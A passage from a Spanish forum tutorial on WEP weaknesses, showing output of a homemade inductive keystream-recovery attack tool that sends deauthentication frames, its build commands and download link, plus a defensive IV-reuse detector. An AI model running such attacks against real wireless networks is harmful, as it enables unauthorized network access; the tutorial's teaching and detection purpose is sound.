    -> Byte num. 31 Candidato AF keystream 98 byte cifrado: 98 byte decode 00 <--- MAC DESTINO 
    Candidato decode FF Byte actual 32 de 40 
    Vuelta atrás. Falló el último. Reintentando de nuevo a partir de la posición 30 
     
    -> Byte num. 31 Candidato AF keystream 98 byte cifrado: 98 byte decode 00 <--- MAC DESTINO 
    -> Byte num. 32 Candidato E6 keystream 7E byte cifrado: 7E byte decode 00 <--- MAC DESTINO 
    -> Byte num. 33 Candidato BD keystream C6 byte cifrado: CC byte decode 0A <--- IP DESTINO (decimal 10) 
    -> Byte num. 34 Candidato 47 keystream F3 byte cifrado: F9 byte decode 0A <--- IP DESTINO (decimal 10) 
    -> Byte num. 35 Candidato EE keystream 95 byte cifrado: 9F byte decode 0A <--- IP DESTINO (decimal 10) 
    -> Byte num. 36 Candidato FA keystream 1A byte cifrado: EF byte decode F5 <--- IP DESTINO (decimal 245) 
    -> Byte num. 37 Candidato C0 keystream 99 byte cifrado: 53 byte decode CA <--- ICV CRC32 
    -> Byte num. 38 Candidato 66 keystream 13 byte cifrado: 07 byte decode 14 <--- ICV CRC32 
    -> Byte num. 39 Candidato 9A keystream 55 byte cifrado: FC byte decode A9 <--- ICV CRC32 
    -> Byte num. 40 Candidato AF keystream E9 byte cifrado: AF byte decode 46 <--- ICV CRC32 
     
    Tipo ARP: REQUEST 
    MAC ORIGEN: 00 17 9A C3 D6 B9 
    IP ORIGEN: 10.10.10.200. 
    MAC DESTINO: 00 00 00 00 00 00 
    IP DESTINO: 10.10.10.245. 
    Parámetros WEP 
    ************** 
    IV completo: 6C 6B 00 00 
    Num de KEY usada: 00 
     
    keystream; 
    6C 6B 00 00 2A 49 C0 5A 5F 12 38 56 D4 00 DD 65 
    38 39 6F E0 09 FD F5 BC 86 6A BB 73 5F 9B EF EE 
    03 64 98 7E C6 F3 95 1A 99 13 55 E9 
     
    Listo!!! 
     
     
    Duración total del ataque: 13 minutos 44 segundos 
     
    Taller_WiFi src #
    El ataque “es lento” como puedes ver al finalizar el ataque se muestra la duración del mismo. (13 minutos 44 segundos) una pasada, vamos... y eso para unos pocos bytes...


    Recuerda cómo funcionabe el programa:
    • Tenemos 40 bytes a “descubrir”, bueno, realmente 40 – 15 = 25

      Puesto que los 15 primeros ya son “bien conocidos”

      Y por cada uno de esos 25 bytes a descifrar, el programa puede llegar a enviar hasta 256 combinaciones posibles.

      Entre envío y envío la función ver_envio_ap se toma 150.000 ms para husmear el medio y comprobar si hubo respuesta del último paquete enviado, por tanto en el peor de los casos, que sería descubrir el byte “bueno” como última combinación (256), el tiempo máximo del ataque es:

      • (25 bytes a descubrir x 256 combinaciones x 150.000 ms) / 1.000.000 = 960 segundos en total, 16 minutos máximo.
        Un millón de ms (1.000.000) es un segundo
      Claro, eso en las peores condiciones, que sería agotar por cada byte sus 256 posibilidades, como eso no ocurrirá, digamos que de 8 a 10 minutos es “lo normal”
    Sin embargo, podría haberse perpetuado el ataque en menos de 25 segundos!!!!!

    Ehhh????

    Pues sí, si hubiésemos estado un poco mas espabilados, podríamos haber creado una tabla con los 256 ICV’s posibles de cada candidato a enviar, de tal forma que al tenerlos ya “calculados” podemos enviar continuamente ráfagas de 256 posibles combinaciones (el envío de 256 paquetes no llega a un segundo).

    De este modo no es necesario esperar un tiempo (150.000 ms) para ver si hay respuesta,

    Sencillamente envío, leo, envio, leo, envio, leo y así hasta encontrar una coincidencia, cuando ocurra, consultamos la tabla de ICV’s generada y a por otro... esto es muchísimo más rápido, puesto que en menos de un segundo leeremos la respuesta del punto de acceso, como son 25 los bytes a descifrar, pues eso… en menos de 25 segundos lo tenemos.

    El "problema" de usar este otro método, es que los envíos son más rápidos que las respuestas, por tanto, eso de envío-leo, envío-leo no es del todo así... la respuesta no será acorde al úlrimo paquete enviado... igual es 112 paquetes mas atrás... por eso es necesaria una tabla, para que cuando llegue la respuesta sepamos qué paquete la provocó.

    Aun así, preferí hacerlo del modo que se ha resuelto, parece como mas claro: envío, capturo durante un tiempo para ver si hay respuesta, envio capturo durante un tiempo, etc…

    Cuando veamos cómo funciona el ataque chophop y lo llevemos a la práctica, sí que usaremos esto de la tabla de ICV’s, porque si el paquete a descifrar es (por ejemplo de 386 bytes) si usamos la misma técnica que la del ataque inductivo, nos pasamos 2 horas de media para llevarlo a cabo, y eso es ya muuucho tiempo mirando una pantalla.

    Bueno, venga, vale... te pongo un link de descarga de “la versión rápida”, se llama arpdecode5.c

    http://www.megaupload.com/?d=LU210GBT

    Lo guardas en el directorio de las fuentes de aircrack y lo compilas:

    Código:
     
    gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude -c -o arpdecode5.o arpdecode5.c 
     
    gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude arpdecode5.o common.o crypto.o -o arpdecode5 -Losdep -losdep -lssl -lcrypto
    Ahora, vamos a ejecutarlo:

    Código:
     
    Taller_WiFi src # ./arpdecode5 eth1 
     
    Escribe la MAC del bssid o Punto de Acceso -----> 00:16:B6:41:03:5D 
     
    **** Esperando un ARP REQ con destino a --------> 00:16:B6:41:03:5D: 
    Desautenticación 
    **************** 
    C0 00 3C 02 FF FF FF FF FF FF 00 16 B6 41 03 5D 
    00 16 B6 41 03 5D 00 00 04 00 
     
    Enviando Desautenticación número 8 
     
    <---- Encontrado paquete ----> 
    <---- Esperando 3 Segundos---> 
     
    Paquete CIFRADO ORIGINAL (solo los datos + ICV) 
    *********************************************** 
     
    4B 33 B8 7C 1F E4 E0 7B 54 0F EF 35 F8 58 65 A7 
    1F CF 1C 37 1A 25 47 4E C5 EB 1B A0 FB 1E 9B 2F 
    93 26 FF AC 7A FB 21 0F 
     
    -> Byte num. 1 Candidato n/a keystream E1 byte cifrado: 4B byte decode AA <--- DATOS conocidos --> CABECERA SNAP 
    -> Byte num. 2 Candidato n/a keystream 99 byte cifrado: 33 byte decode AA <--- DATOS conocidos --> CABECERA SNAP 
    -> Byte num. 3 Candidato n/a keystream BB byte cifrado: B8 byte decode 03 <--- DATOS conocidos --> CABECERA SNAP 
    -> Byte num. 4 Candidato n/a keystream 7C byte cifrado: 7C byte decode 00 <--- DATOS conocidos --> CABECERA SNAP 
    -> Byte num. 5 Candidato n/a keystream 1F byte cifrado: 1F byte decode 00 <--- DATOS conocidos --> CABECERA SNAP 
    -> Byte num. 6 Candidato n/a keystream E4 byte cifrado: E4 byte decode 00 <--- DATOS conocidos --> CABECERA SNAP 
    -> Byte num. 7 Candidato n/a keystream E8 byte cifrado: E0 byte decode 08 <--- DATOS conocidos --> Protocolo ARP 
    -> Byte num. 8 Candidato n/a keystream 7D byte cifrado: 7B byte decode 06 <--- DATOS conocidos --> Protocolo ARP 
    -> Byte num. 9 Candidato n/a keystream 54 byte cifrado: 54 byte decode 00 <--- DATOS conocidos --> Hardware Ethernet 
    -> Byte num. 10 Candidato n/a keystream 0E byte cifrado: 0F byte decode 01 <--- DATOS conocidos --> Hardware Ethernet 
    -> Byte num. 11 Candidato n/a keystream E7 byte cifrado: EF byte decode 08 <--- DATOS conocidos --> Protocolo IP 
    -> Byte num. 12 Candidato n/a keystream 35 byte cifrado: 35 byte decode 00 <--- DATOS conocidos --> Protocolo IP 
    -> Byte num. 13 Candidato n/a keystream FE byte cifrado: F8 byte decode 06 <--- DATOS conocidos --> Longitud MAC 
    -> Byte num. 14 Candidato n/a keystream 5C byte cifrado: 58 byte decode 04 <--- DATOS conocidos --> Versión IP 
    -> Byte num. 15 Candidato n/a keystream 65 byte cifrado: 65 byte decode 00 <--- DATOS conocidos --> ARP (REQ ó RESP) 
    -> Byte num. 16 Candidato BF keystream A6 byte cifrado: A7 byte decode 01 <--- ARP REQUEST 
    -> Byte num. 17 Candidato 3E keystream 1F byte cifrado: 1F byte decode 00 <--- MAC ORIGEN 
    -> Byte num. 18 Candidato 27 keystream D8 byte cifrado: CF byte decode 17 <--- MAC ORIGEN 
    -> Byte num. 19 Candidato 67 keystream 86 byte cifrado: 1C byte decode 9A <--- MAC ORIGEN 
    -> Byte num. 20 Candidato 66 keystream F4 byte cifrado: 37 byte decode C3 <--- MAC ORIGEN 
    -> Byte num. 21 Candidato C4 keystream CC byte cifrado: 1A byte decode D6 <--- MAC ORIGEN 
    -> Byte num. 22 Candidato 6E keystream 9C byte cifrado: 25 byte decode B9 <--- MAC ORIGEN 
    -> Byte num. 23 Candidato 67 keystream 4D byte cifrado: 47 byte decode 0A <--- IP ORIGEN (decimal 10) 
    -> Byte num. 24 Candidato F3 keystream 44 byte cifrado: 4E byte decode 0A <--- IP ORIGEN (decimal 10) 
    -> Byte num. 25 Candidato 3D keystream CF byte cifrado: C5 byte decode 0A <--- IP ORIGEN (decimal 10) 
    -> Byte num. 26 Candidato B2 keystream 23 byte cifrado: EB byte decode C8 <--- IP ORIGEN (decimal 200) 
    -> Byte num. 27 Candidato 5E keystream 1B byte cifrado: 1B byte decode 00 <--- MAC DESTINO 
    -> Byte num. 28 Candidato C5 keystream A0 byte cifrado: A0 byte decode 00 <--- MAC DESTINO 
    -> Byte num. 29 Candidato DC keystream FB byte cifrado: FB byte decode 00 <--- MAC DESTINO 
    -> Byte num. 30 Candidato DD keystream 1E byte cifrado: 1E byte decode 00 <--- MAC DESTINO 
    -> Byte num. 31 Candidato CB keystream 9B byte cifrado: 9B byte decode 00 <--- MAC DESTINO 
    -> Byte num. 32 Candidato DB keystream 2F byte cifrado: 2F byte decode 00 <--- MAC DESTINO 
    -> Byte num. 33 Candidato 17 keystream 99 byte cifrado: 93 byte decode 0A <--- IP DESTINO (decimal 10) 
    -> Byte num. 34 Candidato BD keystream 2C byte cifrado: 26 byte decode 0A <--- IP DESTINO (decimal 10) 
    -> Byte num. 35 Candidato CB keystream F5 byte cifrado: FF byte decode 0A <--- IP DESTINO (decimal 10) 
    -> Byte num. 36 Candidato 9D keystream 65 byte cifrado: AC byte decode C9 <--- IP DESTINO (decimal 201) 
    -> Byte num. 37 Candidato B0 keystream 37 byte cifrado: 7A byte decode 4D <--- ICV CRC32 
    -> Byte num. 38 Candidato 02 keystream 93 byte cifrado: FB byte decode 68 <--- ICV CRC32 
    -> Byte num. 39 Candidato 4C keystream E7 byte cifrado: 21 byte decode C6 <--- ICV CRC32 
    -> Byte num. 40 Candidato 4E keystream 66 byte cifrado: 0F byte decode 69 <--- ICV CRC32 
     
    Tipo ARP: REQUEST 
    MAC ORIGEN: 00 17 9A C3 D6 B9 
    IP ORIGEN: 10.10.10.200. 
    MAC DESTINO: 00 00 00 00 00 00 
    IP DESTINO: 10.10.10.201. 
    Parámetros WEP 
    ************** 
    IV completo: F3 6F 00 00 
    Num de KEY usada: 00 
     
    keystream; 
    F3 6F 00 00 E1 99 BB 7C 1F E4 E8 7D 54 0E E7 35 
    FE 5C 65 A6 1F D8 86 F4 CC 9C 4D 44 CF 23 1B A0 
    FB 1E 9B 2F 99 2C F5 65 37 93 E7 66 
     
    Duración del ataque: 20 segundos 
     
    Taller_WiFi src # 
    Taller_WiFi src #

    Como ves, 20 segundos!!!! que frente a los 13 minutos del anterior... pues como mejor programado

    En el código fuente del mismo tienes todos los comentarios necesarios para comprender cómo funciona y por qué es tan rápido.

    Que lo disfrutes.

    No vamos a menospreciar al “lento”, nos vendrá muy bien cuando nos toque WPA y queramos hacer algo similar, con WPA la cosa cambia porque los IV’s no se pueden/deben reutilizar, se controla la integridad del mensaje y el punto de acceso puede tomar “contramedidas” y obligar a todos los clientes a renegociar las llaves por lo que el ataque no puede continuar, todo llegará.

    Ahora, un detector, para el siguiente post.
    [][][] LUK [][][]
    hackhispano.com
     

  9. #9  
    HH Administrator Avatar de LUK
    Fecha de ingreso
    Oct 2001
    Ubicación
    SpaÑa
    Mensajes
    5.289
    Descargas
    224
    Uploads
    251
    VULNERABILIDADES WEP. PARTE III. Práctica (II)

    Todos los ataues que estamos estudiando, tienen un punto común: La reutilización de un IV

    Como ya dije hace tiempo, esto es precisamente el mayor problema de WEP, no hay control sobre el uso de un mismo IV, peor aún, tal y como está diseñado el protocolo, no tiene solución.

    Por tanto lo único que un administrador puede hacer contra ataques de tipo replay (sa sea una reinyección, ataque inductivo, reactivo, chopchop, flipping, etc...) es disponer de sensores en la red que le adviertan de tal circunstancia.

    Los IDS inalámbricos incorporan este tipo de alertas, nosotros vamos a diseñar una muy sencilla.

    El programa lo he bautizado detectorIV.c lo puedes descargar desde:

    http://www.megaupload.com/?d=M7YP4VZ2

    Lo guardamos junto los códigos fuente de aircrack y lo compilamos:

    Código:
     
    gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude -c -o detectorIV.o detectorIV.c 
     
    gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude detectorIV.o common.o crypto.o -o detectorIV -Losdep -losdep -lssl -lcrypto
    El funcionamiento del mismo es muy simple:

    El programa llama a una función: detectar_reenvio

    En esta función, se introduce la red a controlar (en esta ocasión y para variar un poco de los otros ejercicios), en lugar de pasar un Bssid como parámetro, debemos escribir el ESSID.

    Quizás de lo mas significativo de este programa de cara a este Taller WiFi es el modo en el que se conoce el essid de un paquete capturado.

    Los essid pueden viajar en diferentes tramas, en beacons, probes y alguna otra también como los EAP.

    En este caso analizamos una trama de tipo beacon, es una trama de administración por lo que lo primero que tiene que hacer nuestro programa es analizar ese tipo de trama.

    Para saber si es una trama de administración tipo beacon basta con comprobar si el byte cero (el primer byte del Frame Control) es igual o no a 0x80.

    Si se trata de un beacon (byte 0 es 0x80) debemos analizar los bytes 36,37 y sucesivos, de forma que:

    Código:
    256 x el contenido del byte 36 + contenido del byte 37 = longitud del essid
    En nuestro ejemplo, el essid que buscamos es TallerWIFI, esto son 10 bytes de longitud, por lo que byte 36 = 0x00 y byte 37 = 0x0A (10 en decimal)

    Los bytes 38 y siguientes contienen cada una de las “letras” del essid.

    Código:
     
    Byte 38 = T 
    Byte 39 = a 
    Byte 40 = l 
    Byte 41 = l 
    Byte 42 = e 
    Byte 43 = r 
    Byte 44 = W 
    Byte 45 = I 
    Byte 46 = F 
    Byte 47 = I
    De ese modo poremos comparar si lo escrito por teclado se corresponde con lo capturado en el aire.

    Una vez leído el beacon correcto extraemos el bssid de la red, esto está en la posición +10 del paquete capturado y tendrá (claro está) una longitud de 6 bytes.

    Con el bssid apropiado, la función continua con el análisis de paquetes de datos y entra en un ciclo infinito el cual almacena en diferentes arrays los últimos 200 paquetes leídos.

    Cada vez que se completen esos 200 paquetes se analizan todos con todos en busca de IV’s duplicados, si en esa “ráfaga” de 200 paquetes capturados encontramos mas de un 5% de IV’s duplicados (10 IV’s) se asume que hay ataque contra la red.

    El programa mostrará el IV repetido, la mac origen, la mac destino en el caso de que existan duplicidades (mas de 20)

    Sería posible “bajar” ese umbral de IV’s, por ejemplo, cuando se detecte mas de uno duplicado, pero puede arrojar falsos positivos, sobretodo en redes muy grandes.

    También has de tener en cuenta que son 200 paquetes de datos, es decir, el programa discrimina los beacon, probes, tramas de control y administración. Si en esos 200 paquetes se encuentran mas de 10 duplicados, es que hay ataque a la vista.

    Lo mismo que de costumbre, en el código hay comentarios acerca de cada línea (las interesantes) es conveniente que lo revises para que comprendas el funcionamiento del mismo.

    No es que esté muy depurado, pero puede servir, si lo ejecutas….

    Código:
     
    Taller_WiFi src # ./detectorIV eth1 
     
    Escribe el ESSID de la red a monitorizar --> TallerWIFI 
     
    Esperando un beacon de: TallerWIFI --> 
     
    Recibido un beacon de: TallerWIFI 
    BSSID --> 28:F4:D1:B7:FC:EF 
     
    Esperando paquetes de datos..... 
    Capturado IV num: 199 [B1 74 00 00] 
    Ataque de reinyección detectado!!! 
    IV duplicado MAC Origen MAC Destino Num. Duplicados 
    ============ ========== =========== =============== 
    B1 74 00 00 00 17 9A C3 D6 B9 00 A0 CC D0 EB 5A 13 repetidos de 200 IV's procesados 
     
    Capturado IV num: 399 [B1 74 00 00] 
    Ataque de reinyección detectado!!! 
    IV duplicado MAC Origen MAC Destino Num. Duplicados 
    ============ ========== =========== =============== 
    B1 74 00 00 00 A0 CC D0 EB 5A 00 A0 CC D0 EB 5A 195 repetidos de 200 IV's procesados 
     
    Capturado IV num: 599 [B1 74 00 00] 
    Ataque de reinyección detectado!!! 
    IV duplicado MAC Origen MAC Destino Num. Duplicados 
    ============ ========== =========== =============== 
    B1 74 00 00 00 A0 CC D0 EB 5A 00 A0 CC D0 EB 5A 197 repetidos de 200 IV's procesados 
    ...... 
    ......

    Hasta aquí esta tercera parte de vulnerabilidades WEP, por el momento, todos los ataques de “adivinación” para descifrar el mensaje protegido con WEP se basan en el conocimiento completo del texto plano (caso de ataquePLANO.c) o parcial (caso del arpdecode4.c) de un paquete cifrado.

    En estas pruebas, el atacante era conocedor de la totalidad del contenido del mensaje en texto plano o podía suponer una parte del mismo y reconstruir el resto mediante el ataque inductivo.

    Las siguientes pruebas que haremos (en la cuarta parte y siguientes) ya no partirán de estas premisas, en las prácticas venideras, el atacante desconocerá por completo el mensaje que se está transmitiendo, no se harán “suposiciones” acerca si es un ARP, TCP, UDP, etc.. sencillamente será “un misterio”, y sin embargo como veremos, seremos capaces de descifrar el mensaje completo y obtener el keystream necesario para poder enviar cualquier paquete de datos a la red.

    Hasta entonces

    --------------------------------------------------------------------------------------------
    Fuente: Este taller ha sido escrito por "Vic_Thor" para Wadalbertia.org
    [][][] LUK [][][]
    hackhispano.com
     

Temas similares

  1. Bienvenidos al Taller de Programacion
    Por clarinetista en el foro Taller de Programacion
    Respuestas: 4
    Último mensaje: 11-11-2011, 16:33
  2. Referente al Taller de Programación
    Por hystd en el foro HACK HiSPANO
    Respuestas: 37
    Último mensaje: 16-06-2011, 01:41
  3. Proyecto de taller de programacion
    Por smaug_ en el foro HACK HiSPANO
    Respuestas: 106
    Último mensaje: 10-12-2010, 10:37

Marcadores

Marcadores